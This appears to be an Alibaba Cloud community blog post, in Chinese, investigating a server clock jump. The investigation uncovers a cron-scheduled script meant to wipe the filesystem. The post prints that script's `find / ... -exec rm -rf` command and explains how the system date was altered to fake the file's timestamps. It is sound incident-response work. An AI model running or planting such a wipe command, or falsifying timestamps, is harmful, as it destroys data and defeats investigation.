记一次审核时间异常引发的惊天...

简介: 某用户反馈系统时间在某一个时刻跳变到2019年10月1号,导致程序异常,并提供了相关的截图佐证

背景:

 某用户反馈系统时间在某一个时刻跳变到2019年10月1号,导致程序异常,并提供了相关的截图佐证

image

image

1,目前云上现存的Linux系统存在时间“跳变”是在重启的时候记录UTC时间,启动完成后恢复系统对应时区的时间

2,确认当时ntp server本身没有问题,确认了这两点之后,我们继续排查这个问题(其实这一点基本可以忽略,ntp-server出问题的话就不是一个ecs的问题了)

3,修改时间本身基本上就是 date这个命令没跑了, timedatectl,ntpdate,tzselect也可以看看,根据history去过滤

# egrep "time|date|ntp|tz" .bash_history -n -2
567:date -s "2019-10-01"
568-vi initTask.sh
569-chmod 777 initTask.sh
570-ll
571-crontab -l
572-crontab -e
573-crontab -l
574:date -s "2019-05-02 10:56:02"
575:date

看到date命令修改了系统时间,确认了时间是从系统内部修改的,那么为什么要修改这个时间呢?

4,根据history记录的命令,查看inittask.sh这个脚本是做什么的呢?

[root@izbp1****ri25z ~]# find / -name "initTask.sh"
/etc/rc.d/init.d/initTask.sh
[root@izbp198rtvi9jbqddkri25z ~]# cd /etc/rc.d/init.d/
[root@izb****5z init.d]# stat initTask.sh
  File: ‘initTask.sh’
  Size: 32          Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d  Inode: 918340      Links: 1
Access: (0777/-rwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-05 12:47:10.103223269 +0800
Modify: 2019-10-01 00:00:44.400130560 +0800
Change: 2019-10-01 00:00:57.202168204 +0800
 Birth: -
[root@izbp****5z init.d]# cat initTask.sh
#不要执行,后果自负
find / "*.*" -exec rm -rf {} \#这个脚本会从根目录开始强制删文件
#不要执行,后果自负

5,看看这个脚本什么时候执行

[root@izbp1*****25z init.d]# crontab -l
30 20 2 10 * /ect/init.d/initTask.sh

这里可以看出来,想删文件的人,先修改系统时间,来将脚本的修改时间改成10月1号,然后计划任务在10月2号20:30执行,这样即使后面脚本本身没被删除,上去排查看时间也会以为是10月1号被人删的,同时还有一个点,5月2号也是在假期中,两个假期相关联不禁让人浮想联翩

6,看看系统的登陆日志

[root@izbp19*****5z ~]# last
root     pts/0        10*.7      Mon May  6 17:23   still logged in
root     pts/0        11*.30   Sun May  5 18:42 - 18:49  (00:06)
root     pts/4        111*145  Sun May  5 17:53 - 18:42  (00:48)
root     pts/4        111*145  Sun May  5 17:48 - 17:49  (00:01)
root     pts/3        12*.39      Sun May  5 17:42 - 20:25  (02:42)
root     tty1                          Sun May  5 16:20   still logged in
root     pts/3        11*145  Sun May  5 14:42 - 14:45  (00:02)
root     pts/4        111*145  Sun May  5 14:42 - 14:42  (00:00)
root     pts/3        111.*.145  Sun May  5 14:41 - 14:42  (00:01)
root     pts/0        111.*.145  Sun May  5 13:48 - 18:42  (04:54)
root     pts/0        111.*.145  Sun May  5 10:41 - 11:40  (00:59)
root     pts/0        111.*.145  Thu May  2 10:51 - 10:56  (00:04)
root     pts/0        111.*.7    Fri Apr 26 08:58 - 13:46  (04:47)
root     pts/0        211.*.179   Thu Apr 25 20:08 - 20:32  (00:23)
root     pts/0        111.*.98   Wed Mar 27 16:25 - 16:25  (00:00)

root pts/0 111.*.145 Thu May 2 10:51 - 10:56 (00:04)
574:date -s "2019-05-02 10:56:02"
两条记录时间吻合,且该ip多次登陆,判断为需要客户内部解决的问题,结案!

好久没有发帖了,多说两句 [捂脸哭]
1,不要让愤怒冲昏了头脑,有句俗话说得好“本是同根生,相煎何太急...”
2,阿里云的自动快照策略,你值得拥有!
3,阿里云的自动快照策略,你值得拥有!
4,阿里云的自动快照策略,你值得拥有!

目录
相关文章
|
6天前
|
Java
异常之道:探索Java异常处理与日志的黄金准则
异常之道:探索Java异常处理与日志的黄金准则
17 0
|
4月前
|
缓存 Java 关系型数据库
踩了定时线程池的坑,导致公司损失几千万,血的教训
踩了定时线程池的坑,导致公司损失几千万,血的教训
|
4月前
|
安全 数据安全/隐私保护 Windows
推荐5款经过时间检验的精品软件
今天来给大家推荐5款良心软件,每款都是经过时间检验的精品,用起来让你的工作效率提升飞快,各个都让你觉得相见恨晚!
33 0
|
5月前
|
移动开发 监控 数据库
分享5款经过时间检验的精品软件
今天来给大家推荐5款良心软件,每款都是经过时间检验的精品,用起来让你的工作效率提升飞快,各个都让你觉得相见恨晚!
22 0
|
Java Spring
一次@HandlerException 没有捕获预期异常经历
基于@ControllerAdvice 进行全局异常处理,异常无法捕获情况
549 0
程序人生 - 为什么说车险千万不要提前买?真相原来在这里
程序人生 - 为什么说车险千万不要提前买?真相原来在这里
222 0
程序人生 - 为什么说车险千万不要提前买?真相原来在这里
|
SQL C# 数据库
小谈C#异常
小谈C#异常
96 0
小谈C#异常
|
缓存 监控 前端开发
惊魂48小时,阿里工程师如何紧急定位线上内存泄露?
云计算场景下的大规模分布式系统中,网络异常、磁盘IO异常、时钟跳变、操作系统异常乃至软件本身可能存在bugs等,均给分布式系统正确运行带来了挑战。持续的监控报警完善是打造稳定高可用分布式系统过程中非常重要的工作,这个也就要求我们研发同学从细节处入手,本文将介绍的场景是针对线上报警的一丝异常,抽丝剥茧找到内存泄露的root cause,全程48小时,跟进修复了潜在风险隐患,并进一步丰富完善监控报警体系的过程。
392 0
惊魂48小时,阿里工程师如何紧急定位线上内存泄露?
|
弹性计算 容灾 大数据
黑科技揭秘:阿里云如何做到从业务宕机到恢复业务运行只用一分半钟时间
企业关键业务宕机会带来非常大的损失,而传统的自建容灾方案成本高昂运维复杂,因此高性能的云容灾服务正在成为企业业务持续性保障的优先选择。混合云容灾服务(HDR)-关键业务型的演示完整呈现了将本地服务器上运行的报账系统实时容灾复制到阿里云,并在出现宕机后在云上快速拉起恢复业务的全过程。
3194 0
|
关系型数据库 Shell PostgreSQL